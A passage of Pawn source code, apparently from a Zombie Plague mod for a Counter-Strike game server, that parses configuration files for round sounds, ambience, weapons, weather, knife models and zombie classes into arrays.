					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(nemesis_gren_fire, key)
					}
				}
				else if (equal(key, "ROUND NEMESIS"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(sound_nemesis, key)
					}
				}
				else if (equal(key, "ROUND SURVIVOR"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(sound_survivor, key)
					}
				}
				else if (equal(key, "ROUND SWARM"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(sound_swarm, key)
					}
				}
				else if (equal(key, "ROUND MULTI"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(sound_multi, key)
					}
				}
				else if (equal(key, "ROUND PLAGUE"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(sound_plague, key)
					}
				}
				else if (equal(key, "GRENADE INFECT EXPLODE"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(grenade_infect, key)
					}
				}
				else if (equal(key, "GRENADE INFECT PLAYER"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(grenade_infect_player, key)
					}
				}
				else if (equal(key, "GRENADE FIRE EXPLODE"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(grenade_fire, key)
					}
				}
				else if (equal(key, "GRENADE FIRE PLAYER"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(grenade_fire_player, key)
					}
				}
				else if (equal(key, "GRENADE FROST EXPLODE"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(grenade_frost, key)
					}
				}
				else if (equal(key, "GRENADE FROST PLAYER"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(grenade_frost_player, key)
					}
				}
				else if (equal(key, "GRENADE FROST BREAK"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(grenade_frost_break, key)
					}
				}
				else if (equal(key, "GRENADE FLARE"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(grenade_flare, key)
					}
				}
				else if (equal(key, "ANTIDOTE"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(sound_antidote, key)
					}
				}
				else if (equal(key, "THUNDER"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(sound_thunder, key)
					}
				}
			}
			case SECTION_AMBIENCE_SOUNDS: {
				if (equal(key, "INFECTION ENABLE"))
					g_ambience_sounds[AMBIENCE_SOUNDS_INFECTION] = str_to_num(value)
				else if (g_ambience_sounds[AMBIENCE_SOUNDS_INFECTION] && equal(key, "INFECTION SOUNDS"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(sound_ambience1, key)
						ArrayPushCell(sound_ambience1_ismp3, equal(key[strlen(key)-4], ".mp3") ? 1 : 0)
					}
				}
				else if (g_ambience_sounds[AMBIENCE_SOUNDS_INFECTION] && equal(key, "INFECTION DURATIONS"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushCell(sound_ambience1_duration, str_to_num(key))
					}
				}
				else if (equal(key, "NEMESIS ENABLE"))
					g_ambience_sounds[AMBIENCE_SOUNDS_NEMESIS] = str_to_num(value)
				else if (g_ambience_sounds[AMBIENCE_SOUNDS_NEMESIS] && equal(key, "NEMESIS SOUNDS"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(sound_ambience2, key)
						ArrayPushCell(sound_ambience2_ismp3, equal(key[strlen(key)-4], ".mp3") ? 1 : 0)
					}
				}
				else if (g_ambience_sounds[AMBIENCE_SOUNDS_NEMESIS] && equal(key, "NEMESIS DURATIONS"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushCell(sound_ambience2_duration, str_to_num(key))
					}
				}
				else if (equal(key, "SURVIVOR ENABLE"))
					g_ambience_sounds[AMBIENCE_SOUNDS_SURVIVOR] = str_to_num(value)
				else if (g_ambience_sounds[AMBIENCE_SOUNDS_SURVIVOR] && equal(key, "SURVIVOR SOUNDS"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(sound_ambience3, key)
						ArrayPushCell(sound_ambience3_ismp3, equal(key[strlen(key)-4], ".mp3") ? 1 : 0)
					}
				}
				else if (g_ambience_sounds[AMBIENCE_SOUNDS_SURVIVOR] && equal(key, "SURVIVOR DURATIONS"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushCell(sound_ambience3_duration, str_to_num(key))
					}
				}
				else if (equal(key, "SWARM ENABLE"))
					g_ambience_sounds[AMBIENCE_SOUNDS_SWARM] = str_to_num(value)
				else if (g_ambience_sounds[AMBIENCE_SOUNDS_SWARM] && equal(key, "SWARM SOUNDS"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(sound_ambience4, key)
						ArrayPushCell(sound_ambience4_ismp3, equal(key[strlen(key)-4], ".mp3") ? 1 : 0)
					}
				}
				else if (g_ambience_sounds[AMBIENCE_SOUNDS_SWARM] && equal(key, "SWARM DURATIONS"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushCell(sound_ambience4_duration, str_to_num(key))
					}
				}
				else if (equal(key, "PLAGUE ENABLE"))
					g_ambience_sounds[AMBIENCE_SOUNDS_PLAGUE] = str_to_num(value)
				else if (g_ambience_sounds[AMBIENCE_SOUNDS_PLAGUE] && equal(key, "PLAGUE SOUNDS"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(sound_ambience5, key)
						ArrayPushCell(sound_ambience5_ismp3, equal(key[strlen(key)-4], ".mp3") ? 1 : 0)
					}
				}
				else if (g_ambience_sounds[AMBIENCE_SOUNDS_PLAGUE] && equal(key, "PLAGUE DURATIONS"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushCell(sound_ambience5_duration, str_to_num(key))
					}
				}
			}
			case SECTION_BUY_MENU_WEAPONS: {
				if (equal(key, "PRIMARY"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(g_primary_items, key)
						ArrayPushCell(g_primary_weaponids, cs_weapon_name_to_id(key))
					}
				}
				else if (equal(key, "SECONDARY"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(g_secondary_items, key)
						ArrayPushCell(g_secondary_weaponids, cs_weapon_name_to_id(key))
					}
				}
				else if (equal(key, "ADDITIONAL ITEMS"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(g_additional_items, key)
					}
				}
			}
			case SECTION_EXTRA_ITEMS_WEAPONS: {
				if (equal(key, "NAMES"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(g_extraweapon_names, key)
					}
				}
				else if (equal(key, "ITEMS"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(g_extraweapon_items, key)
					}
				}
				else if (equal(key, "COSTS"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushCell(g_extraweapon_costs, str_to_num(key))
					}
				}
			}
			case SECTION_HARD_CODED_ITEMS_COSTS: {
				if (equal(key, "NIGHT VISION"))
					g_extra_costs2[EXTRA_NVISION] = str_to_num(value)
				else if (equal(key, "ANTIDOTE"))
					g_extra_costs2[EXTRA_ANTIDOTE] = str_to_num(value)
				else if (equal(key, "ZOMBIE MADNESS"))
					g_extra_costs2[EXTRA_MADNESS] = str_to_num(value)
				else if (equal(key, "INFECTION BOMB"))
					g_extra_costs2[EXTRA_INFBOMB] = str_to_num(value)
			}
			case SECTION_WEATHER_EFFECTS: {
				if (equal(key, "RAIN"))
					g_ambience_rain = str_to_num(value)
				else if (equal(key, "SNOW"))
					g_ambience_snow = str_to_num(value)
				else if (equal(key, "FOG"))
					g_ambience_fog = str_to_num(value)
				else if (equal(key, "FOG DENSITY"))
					copy(g_fog_density, charsmax(g_fog_density), value)
				else if (equal(key, "FOG COLOR"))
					copy(g_fog_color, charsmax(g_fog_color), value)
			}
			case SECTION_SKY: {
				if (equal(key, "ENABLE"))
					g_sky_enable = str_to_num(value)
				else if (equal(key, "SKY NAMES"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(g_sky_names, key)
						
						formatex(linedata, charsmax(linedata), "gfx/env/%sbk.tga", key)
						engfunc(EngFunc_PrecacheGeneric, linedata)
						formatex(linedata, charsmax(linedata), "gfx/env/%sdn.tga", key)
						engfunc(EngFunc_PrecacheGeneric, linedata)
						formatex(linedata, charsmax(linedata), "gfx/env/%sft.tga", key)
						engfunc(EngFunc_PrecacheGeneric, linedata)
						formatex(linedata, charsmax(linedata), "gfx/env/%slf.tga", key)
						engfunc(EngFunc_PrecacheGeneric, linedata)
						formatex(linedata, charsmax(linedata), "gfx/env/%srt.tga", key)
						engfunc(EngFunc_PrecacheGeneric, linedata)
						formatex(linedata, charsmax(linedata), "gfx/env/%sup.tga", key)
						engfunc(EngFunc_PrecacheGeneric, linedata)
					}
				}
			}
			case SECTION_LIGHTNING: {
				if (equal(key, "LIGHTS"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(lights_thunder, key)
					}
				}
			}
			case SECTION_ZOMBIE_DECALS: {
				if (equal(key, "DECALS"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushCell(zombie_decals, str_to_num(key))
					}
				}
			}
			case SECTION_KNOCKBACK: {
				strtolower(key)
				format(key, charsmax(key), "weapon_%s", key)
				
				kb_weapon_power[cs_weapon_name_to_id(key)] = str_to_float(value)
			}
			case SECTION_OBJECTIVE_ENTS: {
				if (equal(key, "CLASSNAMES"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(g_objective_ents, key)
					}
				}
			}
			case SECTION_SVC_BAD: {
				if (equal(key, "MODELCHANGE DELAY"))
					g_modelchange_delay = str_to_float(value)
				else if (equal(key, "HANDLE MODELS ON SEPARATE ENT"))
					g_handle_models_on_separate_ent = str_to_num(value)
				else if (equal(key, "SET MODELINDEX OFFSET"))
					g_set_modelindex_offset = str_to_num(value)
				else if (equal(key, "SET MODELINDEX OFFSET BOSS"))
					g_set_modelindex_offset_b = str_to_num(value)
			}
			case SECTION_CUSTKNIFES: {
				if (equal(key, "AXE JUMP"))
					g_knife_jump_pwr[0] = str_to_float(value)
				else if (equal(key, "STRONG JUMP"))
					g_knife_jump_pwr[1] = str_to_float(value)
				else if (equal(key, "COMBAT JUMP"))
					g_knife_jump_pwr[2] = str_to_float(value)
				else if (equal(key, "HAMMER JUMP"))
					g_knife_jump_pwr[3] = str_to_float(value)
				else if (equal(key, "SURVIVOR JUMP"))
					g_knife_jump_pwr[4] = str_to_float(value)
				else if (equal(key, "CHAINSAW JUMP"))
					g_knife_jump_pwr[5] = str_to_float(value)
				
				else if (equal(key, "AXE KNOCKBACK"))
					g_knife_knockback[0] = str_to_float(value)
				else if (equal(key, "STRONG KNOCKBACK"))
					g_knife_knockback[1] = str_to_float(value)
				else if (equal(key, "COMBAT KNOCKBACK"))
					g_knife_knockback[2] = str_to_float(value)
				else if (equal(key, "HAMMER KNOCKBACK"))
					g_knife_knockback[3] = str_to_float(value)
				else if (equal(key, "SURVIVOR KNOCKBACK"))
					g_knife_knockback[4] = str_to_float(value)
				else if (equal(key, "CHAINSAW KNOCKBACK"))
					g_knife_knockback[5] = str_to_float(value)


				else if (equal(key, "V_KNIFE AXE"))
					copy(model_vknife_axe, charsmax(model_vknife_axe), value)
				else if (equal(key, "P_KNIFE AXE"))
					copy(model_pknife_axe, charsmax(model_pknife_axe), value)
				else if (equal(key, "V_KNIFE STRONG"))
					copy(model_vknife_strong, charsmax(model_vknife_strong), value)
				else if (equal(key, "P_KNIFE STRONG"))
					copy(model_pknife_strong, charsmax(model_pknife_strong), value)
				else if (equal(key, "V_KNIFE COMBAT"))
					copy(model_vknife_combat, charsmax(model_vknife_combat), value)
				else if (equal(key, "P_KNIFE COMBAT"))
					copy(model_pknife_combat, charsmax(model_pknife_combat), value)
				else if (equal(key, "V_KNIFE HAMMER"))
					copy(model_vknife_hammer, charsmax(model_vknife_hammer), value)
				else if (equal(key, "P_KNIFE HAMMER"))
					copy(model_pknife_hammer, charsmax(model_pknife_hammer), value)

				else if (equal(key, "V_KNIFE CHAINSAW"))
					copy(model_vknife_chainsaw, charsmax(model_vknife_chainsaw), value)
				else if (equal(key, "P_KNIFE CHAINSAW"))
					copy(model_pknife_chainsaw, charsmax(model_pknife_chainsaw), value)
				else if (equal(key, "W_KNIFE CHAINSAW"))
					copy(model_wknife_chainsaw, charsmax(model_wknife_chainsaw), value)


				else if (equal(key, "V_KNIFE SURVIVOR"))
					copy(model_vknife_surv, charsmax(model_vknife_surv), value)
				else if (equal(key, "P_KNIFE SURVIVOR"))
					copy(model_pknife_surv, charsmax(model_pknife_surv), value)

				else if (equal(key, "V_KNIFE NEMESIS"))
					copy(model_vknife_nemesis, charsmax(model_vknife_nemesis), value)

				else if (equal(key, "V_KNIFE ADMIN ZOMBIE"))
					copy(model_vknife_admin_zombie, charsmax(model_vknife_admin_zombie), value)

				//sounds
				else if (equal(key, "AXE DRAW"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(Array:ArrayGetCell(human_dpe, 0), key)
					}
				}
				else if (equal(key, "STRONG DRAW"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)

						ArrayPushString(Array:ArrayGetCell(human_dpe, 1), key)
					}
				}
				else if (equal(key, "COMBAT DRAW"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)

						ArrayPushString(Array:ArrayGetCell(human_dpe, 2), key)
					}
				}
				else if (equal(key, "HAMMER DRAW"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)

						ArrayPushString(Array:ArrayGetCell(human_dpe, 3), key)
					}
				}
				else if (equal(key, "SURVIVOR DRAW"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)

						ArrayPushString(Array:ArrayGetCell(human_dpe, 4), key)
					}
				}
				else if (equal(key, "CHAINSAW DRAW"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)

						ArrayPushString(Array:ArrayGetCell(human_dpe, 5), key)
					}
				}
				else if (equal(key, "AXE HIT STAB"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(Array:ArrayGetCell(human_hit_stab, 0), key)
					}
				}
				else if (equal(key, "STRONG HIT STAB"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(Array:ArrayGetCell(human_hit_stab, 1), key)
					}
				}
				else if (equal(key, "COMBAT HIT STAB"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)

						ArrayPushString(Array:ArrayGetCell(human_hit_stab, 2), key)
					}
				}
				else if (equal(key, "HAMMER HIT STAB"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)

						ArrayPushString(Array:ArrayGetCell(human_hit_stab, 3), key)
					}
				}
				else if (equal(key, "SURVIVOR HIT STAB"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)

						ArrayPushString(Array:ArrayGetCell(human_hit_stab, 4), key)
					}
				}
				else if (equal(key, "CHAINSAW HIT STAB"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)

						ArrayPushString(Array:ArrayGetCell(human_hit_stab, 5), key)
					}
				}
				else if (equal(key, "AXE HIT NORMAL"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(Array:ArrayGetCell(human_hit_normal, 0), key)
					}
				}
				else if (equal(key, "STRONG HIT NORMAL"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(Array:ArrayGetCell(human_hit_normal, 1), key)
					}
				}
				else if (equal(key, "COMBAT HIT NORMAL"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)

						ArrayPushString(Array:ArrayGetCell(human_hit_normal, 2), key)
					}
				}
				else if (equal(key, "HAMMER HIT NORMAL"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)

						ArrayPushString(Array:ArrayGetCell(human_hit_normal, 3), key)
					}
				}
				else if (equal(key, "SURVIVOR HIT NORMAL"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)

						ArrayPushString(Array:ArrayGetCell(human_hit_normal, 4), key)
					}
				}
				else if (equal(key, "CHAINSAW HIT NORMAL"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)

						ArrayPushString(Array:ArrayGetCell(human_hit_normal, 5), key)
					}
				}
				else if (equal(key, "AXE MISS SLASH"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(Array:ArrayGetCell(human_miss_slash, 0), key)
					}
				}
				else if (equal(key, "STRONG MISS SLASH"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(Array:ArrayGetCell(human_miss_slash, 1), key)
					}
				}
				else if (equal(key, "COMBAT MISS SLASH"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)

						ArrayPushString(Array:ArrayGetCell(human_miss_slash, 2), key)
					}
				}
				else if (equal(key, "HAMMER MISS SLASH"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)

						ArrayPushString(Array:ArrayGetCell(human_miss_slash, 3), key)
					}
				}
				else if (equal(key, "SURVIVOR MISS SLASH"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(Array:ArrayGetCell(human_miss_slash, 4), key)
					}
				}
				else if (equal(key, "CHAINSAW MISS SLASH"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(Array:ArrayGetCell(human_miss_slash, 5), key)
					}
				}
				else if (equal(key, "AXE MISS WALL"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(Array:ArrayGetCell(human_miss_wall, 0), key)
					}
				}
				else if (equal(key, "STRONG MISS WALL"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)

						ArrayPushString(Array:ArrayGetCell(human_miss_wall, 1), key)
					}
				}
				else if (equal(key, "COMBAT MISS WALL"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)

						ArrayPushString(Array:ArrayGetCell(human_miss_wall, 2), key)
					}
				}
				else if (equal(key, "HAMMER MISS WALL"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)

						ArrayPushString(Array:ArrayGetCell(human_miss_wall, 3), key)
					}
				}
				else if (equal(key, "SURVIVOR MISS WALL"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(Array:ArrayGetCell(human_miss_wall, 4), key)
					}
				}
				else if (equal(key, "CHAINSAW MISS WALL"))
				{
					while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
					{
						trim(key)
						trim(value)
						
						ArrayPushString(Array:ArrayGetCell(human_miss_wall, 5), key)
					}
				}
			}
		}
	}
	if (file) fclose(file)
	
	get_configsdir(path, charsmax(path))
	format(path, charsmax(path), "%s/%s", path, ZP_ZOMBIECLASSES_FILE)
	
	if (file_exists(path))
	{
		file = fopen(path, "rt")
		
		while (file && !feof(file))
		{
			fgets(file, linedata, charsmax(linedata))
			replace(linedata, charsmax(linedata), "^n", "")
			
			if (!linedata[0] || linedata[0] == ';') continue;
			
			if (linedata[0] == '[')
			{
				linedata[strlen(linedata) - 1] = 0
				copy(linedata, charsmax(linedata), linedata[1])
				
				ArrayPushString(g_zclass2_realname, linedata)
				cur++
				ArrayPushCell(zombie_infect_c, ArrayCreate(64,1))
				ArrayPushCell(zombie_infect_adv, ArrayCreate(64,1))
				ArrayPushCell(zombie_pain_c, ArrayCreate(64,1))
				ArrayPushCell(zombie_die_c, ArrayCreate(64,1))
				ArrayPushCell(zombie_fall_c, ArrayCreate(64,1))
				ArrayPushCell(zombie_miss_slash_c, ArrayCreate(64,1))
				ArrayPushCell(zombie_miss_wall_c, ArrayCreate(64,1))
				ArrayPushCell(zombie_hit_normal_c, ArrayCreate(64,1))
				ArrayPushCell(zombie_hit_stab_c, ArrayCreate(64,1))
				ArrayPushCell(zombie_idle_c, ArrayCreate(64,1))
				ArrayPushCell(zombie_idle_last_c, ArrayCreate(64,1))
				ArrayPushCell(zombie_madness_c, ArrayCreate(64,1))
				ArrayPushCell(grenade_fire_player_c, ArrayCreate(64,1))
				
				continue;
			}
			
			strtok(linedata, key, charsmax(key), value, charsmax(value), '=')
			
			trim(key)
			trim(value)
			
			if (equal(key, "NAME"))
				ArrayPushString(g_zclass2_name, value)
			else if (equal(key, "INFO"))
				ArrayPushString(g_zclass2_info, value)
			else if (equal(key, "MODELS"))
			{
				ArrayPushCell(g_zclass2_modelsstart, ArraySize(g_zclass2_playermodel))
				
				while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
				{
					trim(key)
					trim(value)
					
					ArrayPushString(g_zclass2_playermodel, key)
					ArrayPushCell(g_zclass2_modelindex, -1)
				}
				
				ArrayPushCell(g_zclass2_modelsend, ArraySize(g_zclass2_playermodel))
			}
			else if (equal(key, "CLAWMODEL"))
				ArrayPushString(g_zclass2_clawmodel, value)
			else if (equal(key, "HEALTH"))
				ArrayPushCell(g_zclass2_hp, str_to_num(value))
			else if (equal(key, "SPEED"))
				ArrayPushCell(g_zclass2_spd, str_to_num(value))
			else if (equal(key, "GRAVITY"))
				ArrayPushCell(g_zclass2_grav, str_to_float(value))
			else if (equal(key, "BOMBMODEL"))
				ArrayPushString(g_zclass2_bombmodel, value)
			else if (equal(key, "KNOCKBACK"))
				ArrayPushCell(Array:g_zclass2_kb, str_to_float(value))
			else if (equal(key, "ZOMBIE INFECT"))
			{
				while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
				{
					trim(key)
					trim(value)
					
					ArrayPushString(Array:ArrayGetCell( zombie_infect_c, cur-1 ), key)
				}
			}
			else if (equal(key, "ZOMBIE INFECT ADV"))
			{
				while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
				{
					trim(key)
					trim(value)
					
					ArrayPushString(Array:ArrayGetCell( zombie_infect_adv, cur-1 ), key)
				}
			}
			else if (equal(key, "ZOMBIE PAIN"))
			{
				while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
				{
					trim(key)
					trim(value)
					
					ArrayPushString(Array:ArrayGetCell( zombie_pain_c, cur-1 ), key)
				}
			}
				
			else if (equal(key, "ZOMBIE DIE"))
			{
				while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
				{
					trim(key)
					trim(value)
					
					ArrayPushString(Array:ArrayGetCell( zombie_die_c, cur-1 ), key)
				}
			}
			else if (equal(key, "ZOMBIE FALL"))
			{
				while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
				{
					trim(key)
					trim(value)
					
					ArrayPushString(Array:ArrayGetCell( zombie_fall_c, cur-1 ), key)
				}
			}
			else if (equal(key, "ZOMBIE MISS SLASH"))
			{
				while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
				{
					trim(key)
					trim(value)
					
					ArrayPushString(Array:ArrayGetCell( zombie_miss_slash_c, cur-1 ), key)
				}
			}
			else if (equal(key, "ZOMBIE MISS WALL"))
			{
				while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
				{
					trim(key)
					trim(value)
					
					ArrayPushString(Array:ArrayGetCell( zombie_miss_wall_c, cur-1 ), key)
				}
			}
			else if (equal(key, "ZOMBIE HIT NORMAL"))
			{
				while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
				{
					trim(key)
					trim(value)
					
					ArrayPushString(Array:ArrayGetCell( zombie_hit_normal_c, cur-1 ), key)
				}
			}
			else if (equal(key, "ZOMBIE HIT STAB"))
			{
				while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
				{
					trim(key)
					trim(value)
					
					ArrayPushString(Array:ArrayGetCell( zombie_hit_stab_c, cur-1 ), key)
				}
			}
			else if (equal(key, "ZOMBIE IDLE"))
			{
				while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
				{
					trim(key)
					trim(value)
					
					ArrayPushString(Array:ArrayGetCell( zombie_idle_c, cur-1 ), key)
				}
			}
			else if (equal(key, "ZOMBIE IDLE LAST"))
			{
				while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
				{
					trim(key)
					trim(value)
					
					ArrayPushString(Array:ArrayGetCell( zombie_idle_last_c, cur-1 ), key)
				}
			}
			else if (equal(key, "ZOMBIE MADNESS"))
			{
				while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
				{
					trim(key)
					trim(value)
					
					ArrayPushString(Array:ArrayGetCell( zombie_madness_c, cur-1 ), key)
				}
			}
			else if (equal(key, "GRENADE FIRE PLAYER"))
			{
				while (value[0] != 0 && strtok(value, key, charsmax(key), value, charsmax(value), ','))
				{
					trim(key)
					trim(value)
					
					ArrayPushString(Array:ArrayGetCell( grenade_fire_player_c, cur-1 ), key)
				}
			}
		}
		if (file) fclose(file)
	}
	
	get_configsdir(path, charsmax(path))
	format(path, charsmax(path), "%s/%s", path, ZP_EXTRAITEMS_FILE)
	
	if (file_exists(path))
	{
		file = fopen(path, "rt")
		
		while (file && !feof(file))
		{
			fgets(file, linedata, charsmax(linedata))
			
			replace(linedata, charsmax(linedata), "^n", "")
			
			if (!linedata[0] || linedata[0] == ';') continue;
			
			if (linedata[0] == '[')
			{
				linedata[strlen(linedata) - 1] = 0
